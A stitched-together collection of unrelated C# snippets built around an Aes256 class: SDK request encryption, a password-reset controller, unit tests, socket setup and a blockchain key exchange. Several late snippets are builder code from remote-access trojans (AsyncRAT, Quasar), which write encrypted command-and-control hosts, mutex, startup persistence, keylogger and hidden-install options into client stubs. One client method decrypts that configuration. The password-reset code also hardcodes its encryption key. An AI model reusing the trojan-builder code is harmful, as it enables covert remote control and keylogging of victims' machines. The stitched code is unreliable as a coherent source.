/*========== GENERAL / UTILITY ==========*/ public static string GenerateStretchedPassword(string username, int length = 32) { string password = Aes256.GetRandomString(length); byte[] salt = Encoding.UTF8.GetBytes(username); return(Convert.ToBase64String(HashUtil.Sha256Pbkdf2(password, salt, 5000, (int)Math.Ceiling((double)length * 3 / 4))).Substring(0, length)); }
public async Task <(string key, string error)> GetUserKeyAsync(string token, int id = 0) { try { PrivateKey nonce = PrivateKey.CreateKey(); (JsonRpc response, string error) = await PostAsync(new JsonRpc.Request(cyprus_getUserKey, id, token, Hex.ToString(nonce.PublicKey.CompressedKey))); if (ReferenceEquals(response, null)) { return(null, error); } string encrypted = response.Result <string>(0); string openKey = response.Result <string>(1); string passKey = nonce.CreateEcdhKey(openKey); // decrypt user key return(Aes256.TryDecrypt(Hex.ToByteArray(passKey), Hex.ToByteArray(encrypted), out var plain) ? (Hex.ToString(plain), (string)null) : (null, "can't decrypt key")); } catch (Exception ex) { return(null, ex.Message); } }
private void AddNewSafeKeyHeader(HttpRequestHeaders headers, string newSafeKey) { if (!string.IsNullOrEmpty(newSafeKey)) { headers.Add("x-cardsavr-new-cardholder-safe-key", Aes256.EncryptText(newSafeKey, GetEncryptionKey())); } }
/// <summary> /// Check the status of an HTTP response, and throw an exception if its an error. /// If we've received an error response, we try to decrypt the body so it can be /// logged and included in the thrown exception. /// </summary> /// <param name="body">The received HTTP response body.</param> /// <param name="response">The HttpResponseMessage object.</param> private void CheckStatusAndMaybeThrow(string body, HttpResponseMessage response) { if (!response.IsSuccessStatusCode) { log.Error($"failed request ({response.StatusCode}): body contents: \"{body}\""); try { EncryptedBody enc = JsonConvert.DeserializeObject <EncryptedBody>(body); if (enc != null && enc.encrypted_body != null) { // we have an EncryptedBody object containing an encrypted response. // split the text string into cipher text and IV, then decrypt. string[] parts = enc.encrypted_body.Split('$'); body = Aes256.DecryptText(parts[0], parts[1], GetEncryptionKey()); //log.Error($"decrypted body: \"{body}\""); } log.Error($"failed request ({response.StatusCode}): body contents: \"{body}\""); } catch (Exception) { // ignore any exception that happens during the decryption attempt. } // include either the original or decrypted body as the exception message. throw new RequestException(body); } }
public async Task <ActionResult> EsqueciSenha(EsqueciSenhaViewModel model) { if (ModelState.IsValid && GoogleRecaptchaValidate.Validate(model.Captcha)) { var result = usuarioClient.BuscarUsuarioPorEmail(model.Email); if (result.Sucesso) { var entrada = model.Email + "," + Guid.NewGuid().ToString(); var senha = "Prova"; var cripto = Aes256.criptografar(senha, entrada); var cripto64 = Convert.ToBase64String(cripto); var resultCodigo = usuarioClient.AdicionarCodigoRecuperacaoSenha(cripto64, result.Data.Id); if (resultCodigo.Sucesso) { var callbackUrl = Url.Action("ResetarSenha", "Account", new { userId = result.Data.Id, code = cripto64 }, protocol: Request.Url.Scheme); //new SendEmailService("ADICIONE_SEU_EMAIL", "ADICIONE_SUA_SENHA").Send(model.Email, "Resetar Senha - Prova", "Por favor clique no link para resetar sua senha. " + callbackUrl); } } var redirectUrl = new UrlHelper(Request.RequestContext).Action("EsqueciSenhaConfirmacao", "Account"); return(Json(new { Url = redirectUrl })); } return(RetornarComErro(ModelState)); }
public ActionResult ResetarSenha(string code) { try { var bytes = Convert.FromBase64String(code); var decBase64 = Encoding.UTF8.GetString(Aes256.descriptografar("Prova", bytes)); var model = new ResetarSenhaViewModel { Code = code, Email = decBase64.Split(',')[0] }; if (usuarioClient.ValidarCodigo(code, model.Email)) { return(View(model)); } else { return(View("Error")); } } catch (Exception) { return(View("Error")); } }
public void Aes256_decrypt() { var(data, expected) = TestVectors["AES-256 Decryption"]; var plaintext = Aes256.Decrypt(data); CustomAssert.MatchArrays(plaintext, expected); }
public void Aes256_encrypt() { var(data, expected) = TestVectors["AES-256 Encryption"]; var ciphertext = Aes256.Encrypt(data); CustomAssert.MatchArrays(ciphertext, expected); }
private EncryptedBody EncryptBody(object body) { string jsonBody = JsonConvert.SerializeObject(body); return(new EncryptedBody() { encrypted_body = Aes256.EncryptText(jsonBody, GetEncryptionKey()) }); }
private void OnMessageKeyExportTokenRes(TcpSession session, GameMessage message) { // AES decrypt with session key byte[] encrypted = Hex.ToByteArray(message.Get <string>("token")); if (Aes256.TryDecrypt(Encoding.UTF8.GetBytes(SessionKey), encrypted, out var plain)) { BConsole.WriteLine("key export token: ", Hex.ToString(plain)); } }
/// <summary> /// Appends text to a log file. /// </summary> /// <param name="filename">The filename of the log.</param> /// <param name="appendText">The text to append.</param> /// <param name="aes">The AES instance.</param> public static void WriteLogFile(string filename, string appendText, Aes256 aes) { appendText = ReadLogFile(filename, aes) + appendText; using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) { byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); fStream.Seek(0, SeekOrigin.Begin); fStream.Write(data, 0, data.Length); } }
public async void TestUpdateIntegrator() { string last_key = IntegratorTests.integrator.current_key; string new_key = Aes256.GetRandomString(44, 32); PropertyBag body = new PropertyBag(); body["description"] = $"{CardsavrSession.e2e_identifier}_{CardsavrSession.e2e_identifier}"; body["current_key"] = new_key; body["last_key"] = last_key; CardSavrResponse <List <Integrator> > updated = await this.session.http.UpdateIntegratorsAsync(IntegratorTests.integrator.id, body); Assert.Single(updated.Body); IntegratorTests.integrator = updated.Body[0]; Assert.Equal(new_key, IntegratorTests.integrator.current_key); Assert.Equal(last_key, IntegratorTests.integrator.last_key); log.Info($"updated integrator {IntegratorTests.integrator.name}"); Assert.Equal(HttpStatusCode.Created, updated.StatusCode); CardsavrSession.InstanceConfig config = session.getConfig(); CardsavrHelper helper = new CardsavrHelper(); helper.SetAppSettings(config.cardsavr_server, IntegratorTests.integrator.name, last_key, CardsavrSession.rejectUnauthorized); ClientSession login = await helper.LoginAndCreateSession(config.app_username, config.app_password, "{\"key\": \"my_trace\"}"); CardSavrResponse <List <Integrator> > integrator = await login.client.GetIntegratorsAsync(IntegratorTests.integrator.id); Assert.Equal(integrator.Body[0].id, IntegratorTests.integrator.id); string new_new_key = await helper.RotateIntegrator(config.app_username, IntegratorTests.integrator.name); log.Info($"rotated integrator {IntegratorTests.integrator.name} to {new_new_key} using 'old' integrator"); helper.SetAppSettings(config.cardsavr_server, IntegratorTests.integrator.name, new_key, CardsavrSession.rejectUnauthorized); login = await helper.LoginAndCreateSession(config.app_username, config.app_password, "{\"key\": \"my_trace\"}"); log.Info($"logged in successfully with 'old' 'new' integrator"); helper.SetAppSettings(config.cardsavr_server, IntegratorTests.integrator.name, new_new_key, CardsavrSession.rejectUnauthorized); login = await helper.LoginAndCreateSession(config.app_username, config.app_password, "{\"key\": \"my_trace\"}"); log.Info($"logged in successfully with 'new' 'new' integrator"); helper.SetAppSettings(config.cardsavr_server, IntegratorTests.integrator.name, last_key, CardsavrSession.rejectUnauthorized); Exception ex = await Assert.ThrowsAsync <RequestException>(async() => { await helper.LoginAndCreateSession(config.app_username, config.app_password, "{\"key\": \"my_trace\"}"); }); Assert.True(ex.Message.IndexOf("Request Signature failed") >= 0); }
/// <summary> /// Constructor /// Use StartClient() to start a connection to a server. /// </summary> protected SocketClient() { KeepAliveTimer = new System.Timers.Timer(15000); KeepAliveTimer.Elapsed += KeepAlive; KeepAliveTimer.AutoReset = true; KeepAliveTimer.Enabled = false; IsRunning = false; AllowReceivingFiles = false; MessageEncryption = new Aes256(); FileCompressor = new GZipCompression(); FolderCompressor = new ZipCompression(); }
public void EncryptAndDecryptStringTest() { var input = StringHelper.GetRandomString(100); var password = StringHelper.GetRandomString(50); var aes = new Aes256(password); var encrypted = aes.Encrypt(input); Assert.IsNotNull(encrypted); Assert.AreNotEqual(encrypted, input); var decrypted = aes.Decrypt(encrypted); Assert.AreEqual(input, decrypted); }
public void EcdhAesSanityTest() { PrivateKey left = "0x71807c6849611ea301bd79e53e73bc43835ba7c12c5a819014e8b1d0f575b3a4"; PrivateKey right = "0xc7ed2a22fd193cc38a465a983d4ff21c41c53d6d35d85d83629ae60a16e300f8"; PrivateKey expected = "0x1549c8e0c11b556dafd8f0355ef9def2a13c9895dded3018380d37b639b7e688"; Assert.Equal(expected, left.CreateEcdhKey(right.PublicKey)); Assert.Equal(expected, right.CreateEcdhKey(left.PublicKey)); byte[] message = Encoding.UTF8.GetBytes("Hello, Bryllite!"); byte[] encrypted = Aes256.Encrypt(expected, message); Assert.Equal("0x52ccf8b53077a2d710754acea1db43a2f098cd8718e6b69fe0a0223036928776", Hex.ToString(encrypted)); byte[] actual = Aes256.Decrypt(expected, encrypted); Assert.Equal(message, actual); }
/// <summary> /// Base constructor /// </summary> protected ServerListener() { //Set timer that checks all clients every 5 minutes _keepAliveTimer = new System.Timers.Timer(300000); _keepAliveTimer.Elapsed += KeepAlive; _keepAliveTimer.AutoReset = true; _keepAliveTimer.Enabled = true; WhiteList = new List <IPAddress>(); BlackList = new List <IPAddress>(); IsRunning = false; AllowReceivingFiles = false; MessageEncryption = new Aes256(); FileCompressor = new GZipCompression(); FolderCompressor = new ZipCompression(); }
public void EncryptAndDecryptByteArrayTest() { var input = StringHelper.GetRandomString(100); var inputByte = Encoding.UTF8.GetBytes(input); var password = StringHelper.GetRandomString(50); var aes = new Aes256(password); var encryptedByte = aes.Encrypt(inputByte); Assert.IsNotNull(encryptedByte); CollectionAssert.AllItemsAreNotNull(encryptedByte); CollectionAssert.AreNotEqual(encryptedByte, inputByte); var decryptedByte = aes.Decrypt(encryptedByte); CollectionAssert.AreEqual(inputByte, decryptedByte); }
public void EncryptDecrypt() { // generated by the Javascript code using a known IV (below). string expected = "I8em4KLS8Xpg9yrUhetAOjXQLLd/sYvNFJDlsmHa2IY=$YWJjZGVmZ2hpamtsbW5vcA=="; string input = "some super double secret text"; // use an Aes256 object in test mode with a known IV. string knownIv = Convert.ToBase64String(Encoding.UTF8.GetBytes("abcdefghijklmnop")); Aes256 aes = new Aes256(knownIv); string encrypted = aes.Encrypt(input, _staticKey); Assert.Equal(expected, encrypted); // decrypt using the static method call. string[] parts = encrypted.Split(new char[] { '$' }); string result = Aes256.DecryptText(parts[0], knownIv, _staticKey); Assert.Equal(input, result); int length = 100; byte[] b = Aes256.GetRandomBytes(length); Assert.Equal(b.Length, length); string s = Aes256.GetRandomString(length); Assert.Equal(s.Length, length); length = 101; s = Aes256.GetRandomString(length); Assert.Equal(s.Length, length); length = 99; s = Aes256.GetRandomString(length); Assert.Equal(s.Length, length); length = 44; s = Aes256.GetRandomString(length); Assert.Equal(s.Length, length); s = Aes256.GetRandomString(length, 32); //this is how we make an integrator key Assert.Equal(s.Length, length); }
/// <summary> /// Base constructor /// </summary> protected SimpleSocketListener() { //Set timer that checks all clients every 5 minutes _keepAliveTimer = new System.Timers.Timer(300000); _keepAliveTimer.Elapsed += KeepAlive; _keepAliveTimer.AutoReset = true; _keepAliveTimer.Enabled = true; WhiteList = new List <IPAddress>(); BlackList = new List <IPAddress>(); IsRunning = false; AllowReceivingFiles = false; ParallelQueue = new ParallelQueue(50); ClientThreads = new List <Task>(); ByteCompressor = new DeflateByteCompression(); MessageEncryption = new Aes256(); FileCompressor = new GZipCompression(); FolderCompressor = new ZipCompression(); }
public static bool Initialize() { if (string.IsNullOrEmpty(VERSION)) { return(false); } var aes = new Aes256(ENCRYPTIONKEY); TAG = aes.Decrypt(TAG); VERSION = aes.Decrypt(VERSION); HOSTS = aes.Decrypt(HOSTS); SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); INSTALLNAME = aes.Decrypt(INSTALLNAME); MUTEX = aes.Decrypt(MUTEX); STARTUPKEY = aes.Decrypt(STARTUPKEY); LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); SetupPaths(); return(VerifyHash()); }
private void OnMessageKeyExportTokenReq(TcpSession session, GameMessage message) { string scode = message.Get <string>("session"); string uid = GetUidBySession(scode); if (string.IsNullOrEmpty(uid) || scode != session.ID) { session.Write(new GameMessage("error").With("message", "unknown session key")); return; } Task.Run(async() => { (string token, string error) = await web4b.GetUserKeyExportTokenAsync(uid); BConsole.WriteLine("token: ", token, ", error: ", error); // AES encrypt with session key if (Aes256.TryEncrypt(Encoding.UTF8.GetBytes(scode), Hex.ToByteArray(token), out var encrypted)) { session.Write(new GameMessage("key.export.token.res").With("token", Hex.ToString(encrypted))); } }); }
private T DecryptBody <T>(string body) { // do not check _data.Encrypt to determine if the response is encrpyted, cause that // won't work in the initial stages (e.g., start, login). instead, see if the // deserialized object contains a property called "encryptedBody". EncryptedBody encBody = JsonConvert.DeserializeObject <EncryptedBody>(body); if (encBody == null || encBody.encrypted_body == null) { // deserialize directly into the expected type. log.Info($"clear-text body: \"{body}\""); return(JsonConvert.DeserializeObject <T>(body)); } // we have an EncryptedBody object containing an encrypted response. // split the text string into cipher text and IV, then decrypt. log.Debug($"encrypted body: \"{body}\""); string[] parts = encBody.encrypted_body.Split('$'); body = Aes256.DecryptText(parts[0], parts[1], GetEncryptionKey()); log.Debug($"decrypted body: \"{body}\""); return(JsonConvert.DeserializeObject <T>(body)); }
public void Aes256ShouldDecryptable() { for (int i = 0; i < repeats; i++) { // random key ( 0 - 256 ) byte[] key = SecureRandom.GetBytes(SecureRandom.Next(0, 256)); // random iv ( 0 - 256 ) byte[] iv = SecureRandom.GetBytes(SecureRandom.Next(0, 256)); // random message ( 0 - 1024 ) byte[] expected = SecureRandom.GetBytes(SecureRandom.Next(0, 1024)); // Encrypt / Decrypt Assert.Equal(expected, new Aes256(key).Decrypt(new Aes256(key).Encrypt(expected))); Assert.Equal(expected, new Aes256(key, iv).Decrypt(new Aes256(key, iv).Encrypt(expected))); // static Encrypt / Decrypt Assert.Equal(expected, Aes256.Decrypt(key, Aes256.Encrypt(key, expected))); Assert.Equal(expected, Aes256.Decrypt(key, iv, Aes256.Encrypt(key, iv, expected))); // TryEncrypt / TryDecrypt without iv { Assert.True(Aes256.TryEncrypt(key, expected, out var encrypted)); Assert.True(Aes256.TryDecrypt(key, encrypted, out var actual)); Assert.Equal(expected, actual); } // TryEncrypt / TryDecrypt with iv { Assert.True(Aes256.TryEncrypt(key, iv, expected, out var encrypted)); Assert.True(Aes256.TryDecrypt(key, iv, encrypted, out var actual)); Assert.Equal(expected, actual); } } }
/// <summary> /// Reads a log file. /// </summary> /// <param name="filename">The filename of the log.</param> /// <param name="aes">The AES instance.</param> public static string ReadLogFile(string filename, Aes256 aes) { return(File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty); }
private void WriteSettings(ModuleDefMD asmDef) { try { var key = Methods.GetRandomString(32); var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); byte[] signature; using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) { var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); } foreach (TypeDef type in asmDef.Types) { if (type.Name == "Settings") { foreach (MethodDef method in type.Methods) { if (method.Body == null) { continue; } for (int i = 0; i < method.Body.Instructions.Count(); i++) { if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) { if (method.Body.Instructions[i].Operand.ToString() == "%Ports%") { if (chkPastebin.Enabled && chkPastebin.Checked) { method.Body.Instructions[i].Operand = aes.Encrypt("null"); } else { List <string> LString = new List <string>(); foreach (string port in listBoxPort.Items) { LString.Add(port); } method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); } } if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%") { if (chkPastebin.Enabled && chkPastebin.Checked) { method.Body.Instructions[i].Operand = aes.Encrypt("null"); } else { List <string> LString = new List <string>(); foreach (string ip in listBoxIP.Items) { LString.Add(ip); } method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); } } if (method.Body.Instructions[i].Operand.ToString() == "%Install%") { method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower()); } if (method.Body.Instructions[i].Operand.ToString() == "%Folder%") { method.Body.Instructions[i].Operand = comboBoxFolder.Text; } if (method.Body.Instructions[i].Operand.ToString() == "%File%") { method.Body.Instructions[i].Operand = textFilename.Text; } if (method.Body.Instructions[i].Operand.ToString() == "%Version%") { method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", "")); } if (method.Body.Instructions[i].Operand.ToString() == "%Key%") { method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); } if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") { method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); } if (method.Body.Instructions[i].Operand.ToString() == "%Anti%") { method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower()); } if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%") { method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); } if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%") { method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); } if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%") { method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower()); } if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%") { if (chkPastebin.Checked) { method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); } else { method.Body.Instructions[i].Operand = aes.Encrypt("null"); } } if (method.Body.Instructions[i].Operand.ToString() == "%Delay%") { method.Body.Instructions[i].Operand = numDelay.Value.ToString(); } } } } } } } catch (Exception ex) { throw new ArgumentException("WriteSettings: " + ex.Message); } }
private void WriteSettings(AssemblyDefinition asmDef) { var key = StringHelper.GetRandomString(32); var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! byte[] signature; // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) { var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); } foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "Quasar.Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); break; case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); break; case 3: //installsub methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); break; case 4: //installname methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); break; case 5: //mutex methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); break; case 6: //startupkey methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); break; case 7: //encryption key methodDef.Body.Instructions[i].Operand = key; break; case 8: //tag methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); break; case 9: //LogDirectoryName methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); break; case 10: //ServerSignature methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); break; case 11: //ServerCertificate methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); break; case 3: //hidefile methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); break; case 4: //Keylogger methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); break; case 5: //HideLogDirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); break; case 6: // HideInstallSubdirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int { //reconnectdelay methodDef.Body.Instructions[i].Operand = _options.Delay; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); } } } } } } }
private void WriteSettings(AssemblyDefinition asmDef) { var key = Methods.GetRandomString(32); var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); byte[] signature; using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) { var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); } foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "Client.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) { string operand = methodDef.Body.Instructions[i].Operand.ToString(); if (operand == "%Ports%") { methodDef.Body.Instructions[i].Operand = aes.Encrypt(textPort.Text); } if (operand == "%Hosts%") { methodDef.Body.Instructions[i].Operand = aes.Encrypt(textIP.Text); } if (operand == "%Install%") { methodDef.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower(); } if (operand == "%Folder%") { methodDef.Body.Instructions[i].Operand = comboBoxFolder.Text; } if (operand == "%File%") { methodDef.Body.Instructions[i].Operand = textFilename.Text; } if (operand == "%Key%") { methodDef.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); } if (operand == "%MTX%") { methodDef.Body.Instructions[i].Operand = txtMutex.Text; } if (operand == "%Anti%") { methodDef.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); } if (operand == "%Certificate%") { methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); } if (operand == "%Serversignature%") { methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); } if (operand == "%BDOS%") { methodDef.Body.Instructions[i].Operand = chkBdos.Checked.ToString().ToLower(); } if (operand == "%Pastebin%") { if (chkPastebin.Checked) { methodDef.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); } else { methodDef.Body.Instructions[i].Operand = aes.Encrypt("null"); } } } } } } } } }
private void WriteSettings(AssemblyDefinition asmDef) { var key = StringHelper.GetRandomString(32); var aes = new Aes256(key); var caCertificate = new X509Certificate2(Path.Combine(Application.StartupPath, "quasar.p12"), "", X509KeyStorageFlags.Exportable); var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "Quasar.Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); break; case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); break; case 3: //installsub methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); break; case 4: //installname methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); break; case 5: //mutex methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); break; case 6: //startupkey methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); break; case 7: //encryption key methodDef.Body.Instructions[i].Operand = key; break; case 8: //tag methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); break; case 9: //LogDirectoryName methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); break; case 10: //ClientCertificate methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(clientCertificate.Export(X509ContentType.Pkcs12))); break; case 11: //ServerCertificate methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); break; case 3: //hidefile methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); break; case 4: //Keylogger methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); break; case 5: //HideLogDirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); break; case 6: // HideInstallSubdirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int { //reconnectdelay methodDef.Body.Instructions[i].Operand = _options.Delay; } else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); } } } } } } }
/// <summary> /// Reads a log file. /// </summary> /// <param name="filename">The filename of the log.</param> /// <param name="encryptionKey">The encryption key.</param> public static string ReadLogFile(string filename, string encryptionKey) { var aes = new Aes256(encryptionKey); return(File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty); }